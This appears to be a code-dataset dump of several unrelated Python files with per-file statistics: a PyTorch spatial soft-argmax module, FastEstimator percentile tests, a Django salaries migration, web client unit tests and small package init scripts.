expected_y: torch.Tensor = torch.sum(pos_y * x_soft, -1, keepdim=True)
output: torch.Tensor = torch.cat([expected_x, expected_y], dim=-1)
return x_soft, output.view(batch_size, channels, 2) # BxNx2
class SpatialSoftArgmax2d(nn.Module):
r"""Creates a module that computes the Spatial Soft-Argmax 2D
of a given input heatmap.
Returns the index of the maximum 2d coordinates of the give map.
The output order is x-coord and y-coord.
Arguments:
normalized_coordinates (Optional[bool]): wether to return the
coordinates normalized in the range of [-1, 1]. Otherwise,
it will return the coordinates in the range of the input shape.
Default is True.
Shape:
- Input: :math:`(B, N, H, W)`
- Output: :math:`(B, N, 2)`
Examples::
>>> input = torch.rand(1, 4, 2, 3)
>>> m = tgm.losses.SpatialSoftArgmax2d()
>>> coords = m(input) # 1x4x2
>>> x_coord, y_coord = torch.chunk(coords, dim=-1, chunks=2)
"""
def __init__(self, normalized_coordinates: Optional[bool] = True) -> None:
super(SpatialSoftArgmax2d, self).__init__()
self.normalized_coordinates: Optional[bool] = normalized_coordinates
self.eps: float = 1e-6
def forward(self, input: torch.Tensor) -> torch.Tensor:
if not torch.is_tensor(input):
raise TypeError("Input input type is not a torch.Tensor. Got {}"
.format(type(input)))
if not len(input.shape) == 4:
raise ValueError("Invalid input shape, we expect BxCxHxW. Got: {}"
.format(input.shape))
# unpack shapes and create view from input tensor
batch_size, channels, height, width = input.shape
x: torch.Tensor = input.view(batch_size, channels, -1)
# compute softmax with max substraction trick
exp_x = torch.exp(x - torch.max(x, dim=-1, keepdim=True)[0])
exp_x_sum = 1.0 / (exp_x.sum(dim=-1, keepdim=True) + self.eps)
# test = exp_x_sum.detach().cpu().numpy() # == probabilities
# create coordinates grid
pos_y, pos_x = create_meshgrid(input, self.normalized_coordinates)
pos_x = pos_x.reshape(-1)
pos_y = pos_y.reshape(-1)
# compute the expected coordinates
expected_y: torch.Tensor = torch.sum(
(pos_y * exp_x) * exp_x_sum, dim=-1, keepdim=True)
expected_x: torch.Tensor = torch.sum(
(pos_x * exp_x) * exp_x_sum, dim=-1, keepdim=True)
output: torch.Tensor = torch.cat([expected_x, expected_y], dim=-1)
return output.view(batch_size, channels, 2) # BxNx2
| 40.514124 | 101 | 0.615395 | 942 | 7,171 | 4.543524 | 0.157113 | 0.074533 | 0.04486 | 0.061682 | 0.831075 | 0.824065 | 0.804907 | 0.773598 | 0.751168 | 0.719393 | 0 | 0.015059 | 0.268442 | 7,171 | 176 | 102 | 40.744318 | 0.800801 | 0.309441 | 0 | 0.536585 | 0 | 0 | 0.068234 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.097561 | false | 0 | 0.060976 | 0 | 0.256098 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
8c8ff2cb3f1da52d6fd59112f976e08f3bc1cb60 | 180 | py | Python | rex_gym/__init__.py | franferri/rex-gym | f171a55732fd578180e14836cfd74deddcb55384 | [
"Apache-2.0"
] | 1 | 2020-03-09T07:03:39.000Z | 2020-03-09T07:03:39.000Z | rex_gym/__init__.py | franferri/rex-gym | f171a55732fd578180e14836cfd74deddcb55384 | [
"Apache-2.0"
] | null | null | null | rex_gym/__init__.py | franferri/rex-gym | f171a55732fd578180e14836cfd74deddcb55384 | [
"Apache-2.0"
] | null | null | null | from rex_gym.agents import ppo, tools, scripts
from rex_gym.envs import gym, rex_gym_env
from rex_gym.model import motor, rex
from rex_gym.util import pybullet_data, bullet_client
| 36 | 53 | 0.833333 | 33 | 180 | 4.30303 | 0.515152 | 0.211268 | 0.28169 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.116667 | 180 | 4 | 54 | 45 | 0.893082 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | null | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
8c96207504c3c45de6b356fed5ca0dbb16af90b9 | 9,198 | py | Python | test/PR_test/unit_test/backend/test_percentile.py | DwijayDS/fastestimator | 9b288cb2bd870f971ec4cee09d0b3205e1316a94 | [
"Apache-2.0"
] | 57 | 2019-05-21T21:29:26.000Z | 2022-02-23T05:55:21.000Z | test/PR_test/unit_test/backend/test_percentile.py | vbvg2008/fastestimator | 6061a4fbbeb62a2194ef82ba8017f651710d0c65 | [
"Apache-2.0"
] | 93 | 2019-05-23T18:36:07.000Z | 2022-03-23T17:15:55.000Z | test/PR_test/unit_test/backend/test_percentile.py | vbvg2008/fastestimator | 6061a4fbbeb62a2194ef82ba8017f651710d0c65 | [
"Apache-2.0"
] | 47 | 2019-05-09T15:41:37.000Z | 2022-03-26T17:00:08.000Z | # Copyright 2020 The FastEstimator Authors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
# ==============================================================================
import unittest
import numpy as np
import tensorflow as tf
import torch
import fastestimator as fe
from fastestimator.test.unittest_util import is_equal
class TestPercentile(unittest.TestCase):
def test_percentile_tf_input_axis_none(self):
with self.subTest("even_elements"):
t = tf.constant([1, 2])
obj1 = fe.backend.percentile(t, percentiles=50)
obj2 = tf.constant([1])
self.assertTrue(is_equal(obj1, obj2))
with self.subTest("two_dimensional"):
t = tf.constant([[1, 3, 9], [2, 7, 5], [8, 4, 6]])
obj1 = fe.backend.percentile(t, percentiles=50)
obj2 = tf.constant([[5]])
self.assertTrue(is_equal(obj1, obj2))
with self.subTest("multi_percentile"):
obj1 = fe.backend.percentile(t, percentiles=[0, 50])
obj2 = tf.constant([[[1]], [[5]]])
self.assertTrue(is_equal(obj1, obj2))
def test_percentile_tf_input_axis_not_none(self):
with self.subTest("two_dimensional"):
t = tf.constant([[1, 3, 9], [2, 7, 5], [8, 4, 6]])
obj1 = fe.backend.percentile(t, percentiles=50, axis=0)
obj2 = tf.constant([[2, 4, 6]])
self.assertTrue(is_equal(obj1, obj2))
with self.subTest("single_axis"):
obj1 = fe.backend.percentile(t, percentiles=50, axis=1)
obj2 = tf.constant([[3], [5], [6]])
self.assertTrue(is_equal(obj1, obj2))
with self.subTest("multi_axis"):
obj1 = fe.backend.percentile(t, percentiles=50, axis=[0, 1])
obj2 = tf.constant([[5]])
self.assertTrue(is_equal(obj1, obj2))
with self.subTest("multi_percentile"):
obj1 = fe.backend.percentile(t, percentiles=[0, 50], axis=[0, 1])
obj2 = tf.constant([[[1]], [[5]]])
self.assertTrue(is_equal(obj1, obj2))
def test_percentile_tf_input_axis_not_none_keepdims_false(self):
with self.subTest("two_dimensional"):
t = tf.constant([[1, 3, 9], [2, 7, 5], [8, 4, 6]])
obj1 = fe.backend.percentile(t, percentiles=50, axis=0, keepdims=False)
obj2 = tf.constant([2, 4, 6])
self.assertTrue(is_equal(obj1, obj2))
with self.subTest("single_axis"):
obj1 = fe.backend.percentile(t, percentiles=50, axis=1, keepdims=False)
obj2 = tf.constant([3, 5, 6])
self.assertTrue(is_equal(obj1, obj2))
with self.subTest("multi_axis"):
obj1 = fe.backend.percentile(t, percentiles=50, axis=[0, 1], keepdims=False)
obj2 = tf.constant(5)
self.assertTrue(is_equal(obj1, obj2))
with self.subTest("multi_percentile"):
obj1 = fe.backend.percentile(t, percentiles=[0, 50], axis=[0, 1], keepdims=False)
obj2 = tf.constant([1, 5])
self.assertTrue(is_equal(obj1, obj2))
# ------------------------- torch input --------------------------------------
def test_percentile_torch_input_axis_none(self):
with self.subTest("even_elements"):
t = torch.tensor([1, 2])
obj1 = fe.backend.percentile(t, percentiles=50)
obj2 = torch.tensor([1])
self.assertTrue(is_equal(obj1, obj2))
with self.subTest("two_dimensional"):
t = torch.tensor([[1, 3, 9], [2, 7, 5], [8, 4, 6]])
obj1 = fe.backend.percentile(t, percentiles=50)
obj2 = torch.tensor([[5]])
self.assertTrue(is_equal(obj1, obj2))
with self.subTest("multi_percentile"):
obj1 = fe.backend.percentile(t, percentiles=[0, 50])
obj2 = torch.tensor([[[1]], [[5]]])
self.assertTrue(is_equal(obj1, obj2))
def test_percentile_torch_input_axis_not_none(self):
with self.subTest("two_dimensional"):
t = torch.tensor([[1, 3, 9], [2, 7, 5], [8, 4, 6]])
obj1 = fe.backend.percentile(t, percentiles=50, axis=0)
obj2 = torch.tensor([[2, 4, 6]])
self.assertTrue(is_equal(obj1, obj2))
with self.subTest("single_axis"):
obj1 = fe.backend.percentile(t, percentiles=50, axis=1)
obj2 = torch.tensor([[3], [5], [6]])
self.assertTrue(is_equal(obj1, obj2))
with self.subTest("multi_axis"):
obj1 = fe.backend.percentile(t, percentiles=50, axis=[0, 1])
obj2 = torch.tensor([[5]])
self.assertTrue(is_equal(obj1, obj2))
with self.subTest("multi_percentile"):
obj1 = fe.backend.percentile(t, percentiles=[0, 50], axis=[0, 1])
obj2 = torch.tensor([[[1]], [[5]]])
self.assertTrue(is_equal(obj1, obj2))
def test_percentile_torch_input_axis_not_none_keepdims_false(self):
with self.subTest("two_dimensional"):
t = torch.tensor([[1, 3, 9], [2, 7, 5], [8, 4, 6]])
obj1 = fe.backend.percentile(t, percentiles=50, axis=0, keepdims=False)
obj2 = torch.tensor([2, 4, 6])
self.assertTrue(is_equal(obj1, obj2))
with self.subTest("single_axis"):
obj1 = fe.backend.percentile(t, percentiles=50, axis=1, keepdims=False)
obj2 = torch.tensor([3, 5, 6])
self.assertTrue(is_equal(obj1, obj2))
with self.subTest("multi_axis"):
obj1 = fe.backend.percentile(t, percentiles=50, axis=[0, 1], keepdims=False)
obj2 = torch.tensor(5)
self.assertTrue(is_equal(obj1, obj2))
with self.subTest("multi_percentile"):
obj1 = fe.backend.percentile(t, percentiles=[0, 50], axis=[0, 1], keepdims=False)
obj2 = torch.tensor([1, 5])
self.assertTrue(is_equal(obj1, obj2))
# ------------------------- numpy input ---------------------------------------
def test_percentile_np_input_axis_none(self):
with self.subTest("even_elements"):
n = np.array([1, 2])
obj1 = fe.backend.percentile(n, percentiles=50)
obj2 = np.array([1])
self.assertTrue(is_equal(obj1, obj2))
with self.subTest("two_dimensional"):
n = np.array([[1, 3, 9], [2, 7, 5], [8, 4, 6]])
obj1 = fe.backend.percentile(n, percentiles=50)
obj2 = np.array([[5]])
self.assertTrue(is_equal(obj1, obj2))
with self.subTest("multi_percentile"):
obj1 = fe.backend.percentile(n, percentiles=[0, 50])
obj2 = np.array([[[1]], [[5]]])
self.assertTrue(is_equal(obj1, obj2))
def test_percentile_np_input_axis_not_none(self):
with self.subTest("two_dimensional"):
n = np.array([[1, 3, 9], [2, 7, 5], [8, 4, 6]])
obj1 = fe.backend.percentile(n, percentiles=50, axis=0)
obj2 = np.array([[2, 4, 6]])
self.assertTrue(is_equal(obj1, obj2))
with self.subTest("single_axis"):
obj1 = fe.backend.percentile(n, percentiles=50, axis=1)
obj2 = np.array([[3], [5], [6]])
self.assertTrue(is_equal(obj1, obj2))
with self.subTest("multi_axis"):
obj1 = fe.backend.percentile(n, percentiles=50, axis=[0, 1])
obj2 = np.array([[5]])
self.assertTrue(is_equal(obj1, obj2))
with self.subTest("multi_percentile"):
obj1 = fe.backend.percentile(n, percentiles=[0, 50], axis=[0, 1])
obj2 = np.array([[[1]], [[5]]])
self.assertTrue(is_equal(obj1, obj2))
def test_percentile_np_input_axis_not_none_keepdims_false(self):
with self.subTest("two_dimensional"):
n = np.array([[1, 3, 9], [2, 7, 5], [8, 4, 6]])
obj1 = fe.backend.percentile(n, percentiles=50, axis=0, keepdims=False)
obj2 = np.array([2, 4, 6])
self.assertTrue(is_equal(obj1, obj2))
with self.subTest("single_axis"):
obj1 = fe.backend.percentile(n, percentiles=50, axis=1, keepdims=False)
obj2 = np.array([3, 5, 6])
self.assertTrue(is_equal(obj1, obj2))
with self.subTest("multi_axis"):
obj1 = fe.backend.percentile(n, percentiles=50, axis=[0, 1], keepdims=False)
self.assertTrue(is_equal(obj1, 5, assert_type=False))
with self.subTest("multi_percentile"):
obj1 = fe.backend.percentile(n, percentiles=[0, 50], axis=[0, 1], keepdims=False)
obj2 = np.array([1, 5])
self.assertTrue(is_equal(obj1, obj2))
| 43.386792 | 93 | 0.572624 | 1,184 | 9,198 | 4.342061 | 0.098818 | 0.046295 | 0.096285 | 0.147637 | 0.864229 | 0.859366 | 0.847306 | 0.83972 | 0.83972 | 0.828633 | 0 | 0.05897 | 0.258861 | 9,198 | 211 | 94 | 43.592417 | 0.695174 | 0.088932 | 0 | 0.691824 | 0 | 0 | 0.053091 | 0 | 0 | 0 | 0 | 0 | 0.207547 | 1 | 0.056604 | false | 0 | 0.037736 | 0 | 0.100629 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
8c9623d3b8dea0025c00a613d033728763b54e78 | 5,927 | py | Python | tx_salaries/migrations/0001_initial.py | texastribune/tx_salaries | 197d8da4e1783216830b8d0a5adb23c0200fd3e8 | [
"Apache-2.0"
] | 6 | 2016-05-18T05:53:44.000Z | 2019-06-13T18:27:50.000Z | tx_salaries/migrations/0001_initial.py | texastribune/tx_salaries | 197d8da4e1783216830b8d0a5adb23c0200fd3e8 | [
"Apache-2.0"
] | 64 | 2015-02-13T18:29:04.000Z | 2018-06-15T19:48:56.000Z | tx_salaries/migrations/0001_initial.py | texastribune/tx_salaries | 197d8da4e1783216830b8d0a5adb23c0200fd3e8 | [
"Apache-2.0"
] | 2 | 2015-05-08T19:22:12.000Z | 2016-07-11T16:57:49.000Z | # -*- coding: utf-8 -*-
# Generated by Django 1.9.4 on 2016-03-27 17:50
from __future__ import unicode_literals
from django.db import migrations, models
import django.db.models.deletion
import tx_people.fields
import tx_people.utils
class Migration(migrations.Migration):
initial = True
dependencies = [
('tx_people', '0001_initial'),
]
operations = [
migrations.CreateModel(
name='CompensationType',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('name', models.CharField(choices=[(b'FT', b'Full Time'), (b'PT', b'Part Time')], max_length=250)),
('description', models.TextField()),
],
),
migrations.CreateModel(
name='Employee',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('start_date', tx_people.fields.ReducedDateField(max_length=10, validators=[tx_people.utils.ReducedDateValidator(), tx_people.utils.ReducedDateValidator(), tx_people.utils.ReducedDateValidator(), tx_people.utils.ReducedDateValidator(), tx_people.utils.ReducedDateValidator(), tx_people.utils.ReducedDateValidator(), tx_people.utils.ReducedDateValidator()])),
('end_date', tx_people.fields.ReducedDateField(max_length=10, validators=[tx_people.utils.ReducedDateValidator(), tx_people.utils.ReducedDateValidator(), tx_people.utils.ReducedDateValidator(), tx_people.utils.ReducedDateValidator(), tx_people.utils.ReducedDateValidator(), tx_people.utils.ReducedDateValidator(), tx_people.utils.ReducedDateValidator()])),
('created_at', models.DateTimeField(auto_now=True)),
('updated_at', models.DateTimeField(auto_now_add=True)),
('hire_date', tx_people.fields.ReducedDateField(max_length=10, validators=[tx_people.utils.ReducedDateValidator(), tx_people.utils.ReducedDateValidator(), tx_people.utils.ReducedDateValidator()])),
('tenure', models.DecimalField(blank=True, decimal_places=4, max_digits=12, null=True)),
('slug', models.SlugField(blank=True, default=None, max_length=255, null=True)),
('compensation', models.DecimalField(db_index=True, decimal_places=4, max_digits=12)),
('updated', models.DateTimeField(auto_now=True)),
('compensation_type', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to='tx_salaries.CompensationType')),
('position', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to='tx_people.Membership')),
],
options={
'abstract': False,
},
),
migrations.CreateModel(
name='EmployeeTitle',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('name', models.CharField(max_length=250)),
],
),
migrations.CreateModel(
name='OrganizationStats',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('distribution', models.TextField(null=True)),
('highest_paid', models.DecimalField(blank=True, decimal_places=4, max_digits=12, null=True)),
('median_paid', models.DecimalField(blank=True, decimal_places=4, max_digits=12, null=True)),
('lowest_paid', models.DecimalField(blank=True, decimal_places=4, max_digits=12, null=True)),
('total_number', models.PositiveIntegerField(default=0)),
('races', models.TextField()),
('female', models.TextField()),
('male', models.TextField()),
('time_employed', models.TextField()),
('date_provided', models.DateField(blank=True, null=True)),
('slug', models.SlugField(blank=True, default=None, max_length=255, null=True)),
('organization', models.OneToOneField(on_delete=django.db.models.deletion.CASCADE, related_name='stats', to='tx_people.Organization')),
],
options={
'abstract': False,
},
),
migrations.CreateModel(
name='PositionStats',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('distribution', models.TextField(null=True)),
('highest_paid', models.DecimalField(blank=True, decimal_places=4, max_digits=12, null=True)),
('median_paid', models.DecimalField(blank=True, decimal_places=4, max_digits=12, null=True)),
('lowest_paid', models.DecimalField(blank=True, decimal_places=4, max_digits=12, null=True)),
('total_number', models.PositiveIntegerField(default=0)),
('races', models.TextField()),
('female', models.TextField()),
('male', models.TextField()),
('time_employed', models.TextField()),
('date_provided', models.DateField(blank=True, null=True)),
('slug', models.SlugField(blank=True, default=None, max_length=255, null=True)),
('position', models.OneToOneField(on_delete=django.db.models.deletion.CASCADE, related_name='stats', to='tx_people.Post')),
],
options={
'abstract': False,
},
),
migrations.AddField(
model_name='employee',
name='title',
field=models.ForeignKey(null=True, on_delete=django.db.models.deletion.CASCADE, related_name='employees', to='tx_salaries.EmployeeTitle'),
),
]
| 57.543689 | 374 | 0.619875 | 598 | 5,927 | 5.968227 | 0.212375 | 0.05828 | 0.065565 | 0.157187 | 0.777529 | 0.752312 | 0.727094 | 0.718969 | 0.718969 | 0.70552 | 0 | 0.01482 | 0.23722 | 5,927 | 102 | 375 | 58.107843 | 0.774607 | 0.011304 | 0 | 0.585106 | 1 | 0 | 0.109442 | 0.012805 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.053191 | 0 | 0.095745 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
8ca01cfed4288f45f44ef238b661f79c2555aa94 | 7,565 | py | Python | hardware/tests/test_web_client.py | ab7289/mercury-hardware | dc2a4e888184a32aaa1355a1fe9ec77a9cb15ebe | [
"MIT"
] | 1 | 2020-05-09T21:37:12.000Z | 2020-05-09T21:37:12.000Z | hardware/tests/test_web_client.py | ab7289/mercury-hardware | dc2a4e888184a32aaa1355a1fe9ec77a9cb15ebe | [
"MIT"
] | 8 | 2020-05-07T01:54:14.000Z | 2020-05-13T21:31:56.000Z | hardware/tests/test_web_client.py | ab7289/mercury-hardware | dc2a4e888184a32aaa1355a1fe9ec77a9cb15ebe | [
"MIT"
] | 2 | 2020-05-06T22:24:20.000Z | 2020-05-13T20:32:29.000Z | import unittest
from unittest.mock import patch, MagicMock
from testfixtures import TempDirectory, LogCapture
from requests.exceptions import HTTPError
import os
import json
from hardware.CommunicationsPi.web_client import WebClient
from hardware.Utils.logger import Logger
class WebClientTests(unittest.TestCase):
def setUp(self):
self.temp_dir = TempDirectory()
def tearDown(self):
self.temp_dir.cleanup()
def test_init_no_log_no_server(self):
with patch.dict(
os.environ,
{
"WEB_CLIENT_LOG_FILE": "web_client.log",
"LOG_DIRECTORY": self.temp_dir.path,
"LAN_SERVER_HTTPS": "True",
"LAN_SERVER_IP": "0.0.0.0",
"LAN_PORT": "0",
},
):
l_client = WebClient()
self.assertTrue(l_client.logging is not None)
self.assertTrue(l_client.logging.name == "WEB_CLIENT_LOG_FILE")
self.assertIsInstance(l_client.logging, Logger)
self.assertEqual(l_client.url, "https://0.0.0.0:0")
def test_init_no_log_no_server_http(self):
with patch.dict(
os.environ,
{
"WEB_CLIENT_LOG_FILE": "web_client.log",
"LOG_DIRECTORY": self.temp_dir.path,
"LAN_SERVER_IP": "0.0.0.0",
"LAN_PORT": "0",
},
):
l_client = WebClient()
self.assertTrue(l_client.logging is not None)
self.assertTrue(l_client.logging.name == "WEB_CLIENT_LOG_FILE")
self.assertIsInstance(l_client.logging, Logger)
self.assertEqual(l_client.url, "http://0.0.0.0:0")
def test_init_no_log_server(self):
with patch.dict(
os.environ,
{
"WEB_CLIENT_LOG_FILE": "web_client.log",
"LOG_DIRECTORY": self.temp_dir.path,
"LAN_SERVER_HTTPS": "True",
"LAN_SERVER_IP": "0.0.0.0",
"LAN_PORT": "0",
},
):
l_client = WebClient(server_url="/url")
self.assertTrue(l_client.logging is not None)
self.assertTrue(l_client.logging.name == "WEB_CLIENT_LOG_FILE")
self.assertIsInstance(l_client.logging, Logger)
self.assertEqual(l_client.url, "/url")
def test_init_log_no_server(self):
with patch.dict(
os.environ,
{
"NEW_LOG_FILE": "web_client.log",
"LOG_DIRECTORY": self.temp_dir.path,
"LAN_SERVER_HTTPS": "True",
"LAN_SERVER_IP": "0.0.0.0",
"LAN_PORT": "0",
},
):
l_client = WebClient(log_file_name="NEW_LOG_FILE")
self.assertTrue(l_client.logging is not None)
self.assertTrue(l_client.logging.name == "NEW_LOG_FILE")
self.assertIsInstance(l_client.logging, Logger)
self.assertEqual(l_client.url, "https://0.0.0.0:0")
def test_init_log_server(self):
with patch.dict(
os.environ,
{
"NEW_LOG_FILE": "web_client.log",
"LOG_DIRECTORY": self.temp_dir.path,
"LAN_SERVER_HTTPS": "True",
"LAN_SERVER_IP": "0.0.0.0",
"LAN_PORT": "0",
},
):
l_client = WebClient(log_file_name="NEW_LOG_FILE", server_url="/url")
self.assertTrue(l_client.logging is not None)
self.assertTrue(l_client.logging.name == "NEW_LOG_FILE")
self.assertIsInstance(l_client.logging, Logger)
self.assertEqual(l_client.url, "/url")
@patch("hardware.CommunicationsPi.web_client.requests")
def test_send_payload(self, mock_requests=MagicMock()):
with patch.dict(
os.environ,
{
"WEB_CLIENT_LOG_FILE": "web_client.log",
"LOG_DIRECTORY": self.temp_dir.path,
"LAN_SERVER_HTTPS": "True",
"LAN_SERVER_IP": "0.0.0.0",
"LAN_PORT": "0",
},
):
with LogCapture() as capture:
l_client = WebClient()
payload = '{"key": "value" }'
payload = json.loads(payload)
l_client.send(payload)
mock_requests.post.assert_called_with("https://0.0.0.0:0", json=payload)
capture.check(
("WEB_CLIENT_LOG_FILE", "INFO", "Pinging: https://0.0.0.0:0"),
("WEB_CLIENT_LOG_FILE", "INFO", f"data: { payload }"),
)
@patch("hardware.CommunicationsPi.web_client.requests")
def test_ping_server_raise_http_ex(self, mock_requests=MagicMock()):
with patch.dict(
os.environ,
{
"WEB_CLIENT_LOG_FILE": "web_client.log",
"LOG_DIRECTORY": self.temp_dir.path,
"LAN_SERVER_HTTPS": "True",
"LAN_SERVER_IP": "0.0.0.0",
"LAN_PORT": "0",
},
):
with LogCapture() as capture:
l_client = WebClient()
mock_requests.post.side_effect = HTTPError("HTTPError")
payload = '{"key": "value" }'
payloadJson = json.loads(payload)
with self.assertRaises(HTTPError):
l_client.send(payloadJson)
mock_requests.post.assert_called_with(
"https://0.0.0.0:0", json=payloadJson
)
with self.assertRaises(HTTPError):
l_client.send(payload, is_json=False)
mock_requests.post.assert_called_with("https://0.0.0.0:0", data=payload)
capture.check(
("WEB_CLIENT_LOG_FILE", "INFO", "Pinging: https://0.0.0.0:0"),
("WEB_CLIENT_LOG_FILE", "INFO", f"data: { payloadJson }"),
("WEB_CLIENT_LOG_FILE", "ERROR", "HTTP error occurred: HTTPError"),
("WEB_CLIENT_LOG_FILE", "INFO", "Pinging: https://0.0.0.0:0"),
("WEB_CLIENT_LOG_FILE", "INFO", f"data: { payload }"),
("WEB_CLIENT_LOG_FILE", "ERROR", "HTTP error occurred: HTTPError"),
)
@patch("hardware.CommunicationsPi.web_client.requests")
def test_ping_server_raise_ex(self, mock_requests=MagicMock()):
with patch.dict(
os.environ,
{
"WEB_CLIENT_LOG_FILE": "web_client.log",
"LOG_DIRECTORY": self.temp_dir.path,
"LAN_SERVER_HTTPS": "True",
"LAN_SERVER_IP": "0.0.0.0",
"LAN_PORT": "0",
},
):
with LogCapture() as capture:
l_client = WebClient()
mock_requests.post.side_effect = Exception("Exception")
payload = '{"key": "value" }'
payload = json.loads(payload)
with self.assertRaises(Exception):
l_client.send(payload)
mock_requests.post.assert_called_with("https://0.0.0.0:0", json=payload)
capture.check(
("WEB_CLIENT_LOG_FILE", "INFO", "Pinging: https://0.0.0.0:0"),
("WEB_CLIENT_LOG_FILE", "INFO", f"data: { payload }"),
("WEB_CLIENT_LOG_FILE", "ERROR", "error occurred: Exception"),
)
if __name__ == "__main__":
unittest.main()
| 35.683962 | 88 | 0.531395 | 843 | 7,565 | 4.485172 | 0.104389 | 0.035969 | 0.038879 | 0.031738 | 0.855858 | 0.855858 | 0.846337 | 0.799524 | 0.784713 | 0.762761 | 0 | 0.019126 | 0.343424 | 7,565 | 211 | 89 | 35.853081 | 0.742098 | 0 | 0 | 0.666667 | 0 | 0 | 0.223926 | 0.017845 | 0 | 0 | 0 | 0 | 0.155172 | 1 | 0.057471 | false | 0 | 0.045977 | 0 | 0.109195 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
8cc9427d412c06455c1c0bc051a8ebab29b718c8 | 67 | py | Python | nam/utils/__init__.py | BullAJ/nam | fc2da75ba008c4ef02a83747f2116036fa6fec46 | [
"MIT"
] | 15 | 2021-03-26T16:00:44.000Z | 2022-03-26T07:43:10.000Z | src/baseline/nam/utils/__init__.py | fau-is/gam_comparison | c47e8f8ced281e0a71b7959a211cb5b289ac7606 | [
"MIT"
] | 6 | 2021-01-03T22:55:54.000Z | 2022-03-11T02:50:38.000Z | src/baseline/nam/utils/__init__.py | fau-is/gam_comparison | c47e8f8ced281e0a71b7959a211cb5b289ac7606 | [
"MIT"
] | 9 | 2021-02-08T18:45:52.000Z | 2022-03-18T19:42:57.000Z | from .args import *
from .graphing import *
from .loggers import *
| 16.75 | 23 | 0.731343 | 9 | 67 | 5.444444 | 0.555556 | 0.408163 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.179104 | 67 | 3 | 24 | 22.333333 | 0.890909 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
8ceb51a421e2743872ec8672d9eaadd746136453 | 122 | py | Python | examples/convert.py | AlexDLSy/canmatrix | 6a03adc29e0734f06950ea9021b488b89deafcb7 | [
"BSD-2-Clause"
] | 656 | 2015-02-14T17:56:33.000Z | 2022-03-31T17:03:02.000Z | examples/convert.py | AlexDLSy/canmatrix | 6a03adc29e0734f06950ea9021b488b89deafcb7 | [
"BSD-2-Clause"
] | 512 | 2015-11-05T15:57:12.000Z | 2022-03-31T19:27:51.000Z | examples/convert.py | AlexDLSy/canmatrix | 6a03adc29e0734f06950ea9021b488b89deafcb7 | [
"BSD-2-Clause"
] | 348 | 2015-05-25T03:42:00.000Z | 2022-03-24T19:41:30.000Z | #!/usr/bin/env python3
import sys
sys.path.append('..')
import canmatrix.cli.convert
canmatrix.cli.convert.cli_convert()
| 17.428571 | 35 | 0.762295 | 18 | 122 | 5.111111 | 0.611111 | 0.326087 | 0.413043 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.00885 | 0.07377 | 122 | 6 | 36 | 20.333333 | 0.80531 | 0.172131 | 0 | 0 | 0 | 0 | 0.02 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0.5 | 0 | 0.5 | 0 | 1 | 0 | 0 | null | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 6 |
